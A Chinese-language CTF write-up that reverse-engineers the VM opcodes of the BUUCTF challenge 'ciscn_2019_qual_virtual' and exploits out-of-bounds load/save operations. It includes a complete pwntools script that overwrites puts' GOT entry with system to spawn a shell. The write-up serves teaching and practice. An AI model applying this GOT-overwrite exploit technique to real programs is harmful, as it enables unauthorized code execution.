每周一pwn系列

赛题地址:BUUCTF在线评测

vmpwn初探

基本信息

逆向分析

各虚拟段初始化


如图:

opcode解析部分

将我们输入的指令转为opcode

  • copy
    即以每8字节为单位赋值:*(segment+idx++)=a2
    __int64 __fastcall copy(void **a1, __int64 a2)
    {
      int v3; // [rsp+1Ch] [rbp-4h]
    
      if ( !a1 )
        return 0LL;
      v3 = *((_DWORD *)a1 + 3) + 1;                 // 0
      if ( v3 == *((_DWORD *)a1 + 2) )              // if(v3==size)
        return 0LL;
      *((_QWORD *)*a1 + v3) = a2;
      *((_DWORD *)a1 + 3) = v3;                     // idx=v3
      return 1LL;
    }

opcode执行部分

  • get
    即取出 opcode 并返回:*a2=*(segment+idx--)
    __int64 __fastcall get(void **a1, _QWORD *a2)
    {
      if ( !a1 )
        return 0LL;
      if ( *((_DWORD *)a1 + 3) == -1 )
        return 0LL;
      *a2 = *((_QWORD *)*a1 + (int)(*((_DWORD *)a1 + 3))--);
      return 1LL;
    }

  • push
    _BOOL8 __fastcall push(void **data_addr, void **stack_addr)
    {
      __int64 a2; // [rsp+18h] [rbp-8h] BYREF
    
      return get(stack_addr, &a2) && copy(data_addr, a2);
    }

从stack取出数据,放到data里

  • pop

    _BOOL8 __fastcall pop(void **data_addr, void **stack_addr)
    {
      __int64 v3; // [rsp+18h] [rbp-8h] BYREF
    
      return get(data_addr, &v3) && copy(stack_addr, v3);
    }

    从data取出数据,放到stack里

  • add

    __int64 __fastcall add(void **data_addr)
    {
      __int64 a2; // [rsp+10h] [rbp-10h] BYREF
      __int64 v3; // [rsp+18h] [rbp-8h] BYREF
    
      if ( get(data_addr, &a2) && get(data_addr, &v3) )
        return copy(data_addr, v3 + a2);
      else
        return 0LL;
    }

    从data中取两个值相加,放到data

  • sub

    __int64 __fastcall sub(void **data_addr)
    {
      __int64 a2; // [rsp+10h] [rbp-10h] BYREF
      __int64 v3; // [rsp+18h] [rbp-8h] BYREF
    
      if ( get(data_addr, &a2) && get(data_addr, &v3) )
        return copy(data_addr, a2 - v3);
      else
        return 0LL;
    }

    从data中取两个值相减,放到data

  • mul

    __int64 __fastcall mul(void **data_addr)
    {
      __int64 a2; // [rsp+10h] [rbp-10h] BYREF
      __int64 v3; // [rsp+18h] [rbp-8h] BYREF
    
      if ( get(data_addr, &a2) && get(data_addr, &v3) )
        return copy(data_addr, v3 * a2);
      else
        return 0LL;
    }

    从data中取两个值相乘,放到data

  • div

    __int64 __fastcall div(void **data_addr)
    {
      __int64 a2; // [rsp+10h] [rbp-10h] BYREF
      __int64 v3; // [rsp+18h] [rbp-8h] BYREF
    
      if ( get(data_addr, &a2) && get(data_addr, &v3) )
        return copy(data_addr, a2 / v3);
      else
        return 0LL;
    }

    从data中取两个值相除,放到data

  • load

    __int64 __fastcall load(void **data_addr)
    {
      __int64 a2; // [rsp+10h] [rbp-10h] BYREF
    
      if ( (unsigned int)get(data_addr, &a2) )
        return copy(data_addr, *((_QWORD *)*data_addr + *((int *)data_addr + 3) + a2));
      //copy(data_addr,*(data+idx+a2))
      else
        return 0LL;
    }

    从data里取出一个值a2作为下标,并将该下标对应的值放入data中

  • save

    __int64 __fastcall save(void **data_addr)
    {
      __int64 v2; // [rsp+10h] [rbp-10h] BYREF
      __int64 v3; // [rsp+18h] [rbp-8h] BYREF
    
      if ( !get(data_addr, &v2) || !get(data_addr, &v3) )
        return 0LL;
      *(*data_addr + *(data_addr + 3) + v2) = v3;
      //*(data+idx+v2)=v3
      return 1LL;
    }

    从data里取出值v2作为下标和v3作为值,将v3赋值给v2下标对应的值

漏洞利用

通过上面的分析,我们找到了两个漏洞,对堆的任意地址的读写漏洞。但是不好泄露地址怎么办,其实不需要泄露
,利用好给出的加减指令

  1. 劫持 data 到一块空内存
    劫持到bss上。
    因为idx=-1,所以偏移要加回去

    push push save
    0x404650 -4+1
  2. 把 puts 真实地址读到该内存区域
    算一下 puts_got 和劫持完成之后的 data 的偏移为 0xe0

    push load
    -1c+1
  3. 获取 system 真实地址
    计算 system 和 puts 的偏移,放到 data 上

    push add
    -0x2a300
  4. 把 data 里的 system 地址赋值给 puts_got

    push save
    -1c+1

EXP

save:

def pwn():
	sla('Your program name:','aaaa')
	
	instruction = 'push push save'
	sla('Your instruction:',instruction)
	
	#dbg('b *0x0000000000401D98\n')
	stack=str(0xdeadbeef) + ' ' + str(0) 
	sla('Your stack data:',stack)
	#dbg('')
	itr()

load:

def pwn():
	sla('Your program name:','aaaa')
	
	instruction = 'push load'
	sla('Your instruction:',instruction)
	
	#dbg('b *0x00000000004014A0\n')
	stack=str(1) 
	sla('Your stack data:',stack)
	#dbg('')
	itr()

EXP

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#@Author:X1NRI
import sys
import os
from pwn import*
from ctypes import*
#from LibcSearcher import LibcSearcher

def dbg(command): #dbg(None)
	if(len(sys.argv)!= 3):
		gdb.attach(io,gdbscript=command)
		#pause()
#------------------------------------------------------------------

def pwn():
	sla('Your program name:','/bin/sh')
	
	instruction = 'push push save push load push add push save'
	sla('Your instruction:',instruction)
	
	#dbg('b *0x0000000000401D98\n')
	dbg('b *0x00000000004014A0\n')
	
	puts_got=eg('puts')
	
	stack=str(0x404100) + ' ' + str(-3) + ' ' 
	stack+=str(-0x1c+1) + ' '
	stack+=str(-0x2a300) + ' '
	stack+=str(-0x1c+1)

	sla('Your stack data:',stack)
	#dbg('')
	itr()
	
if __name__ == '__main__':
	context(os='linux',arch='amd64',bits=64,endian='little')
	#context.terminal=["tmux","splitw","-h","-l 150"]
	binary='./ciscn_2019_qual_virtual'
	context.log_level='debug'
	elf=ELF(binary)
	libc=elf.libc
	if(len(sys.argv) == 3):
		io = remote(sys.argv[1],sys.argv[2])
	else:
		io = process(binary)
	s	  = lambda payload		:io.send(payload)
	sl   = lambda payload		:io.sendline(payload)
	sa   = lambda data,payload	:io.sendafter(data,payload)
	sla  = lambda data,payload	:io.sendlineafter(data,payload)
	r    = lambda num   		   :io.recv(numb=num)
	ru   = lambda data,DROP		:io.recvuntil(data,drop=DROP)
	rl	  = lambda 				   :io.recvline(keepends=True)
	uu32 = lambda 				   :u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b"\x00") ) 
	uu64 = lambda 				   :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b"\x00") )
	ep   = lambda data 			:elf.plt[data]
	eg   = lambda data 			:elf.got[data]
	es   = lambda data       	:elf.sym[data]
	ls   = lambda data 			:libc.sym[data]		
	itr  = lambda 				   :io.interactive()
	ic   = lambda 				   :io.close()
	pt   = lambda s				:log.info('\033[1;31;40m %s --- %s \033[0m' % (s,type(eval(s))))
	lg   = lambda name,addr 	:log.success('\033[1;31;40m{} ==> {:#x}\033[0m'.format(name, addr))

	pwn()
⬆︎TOP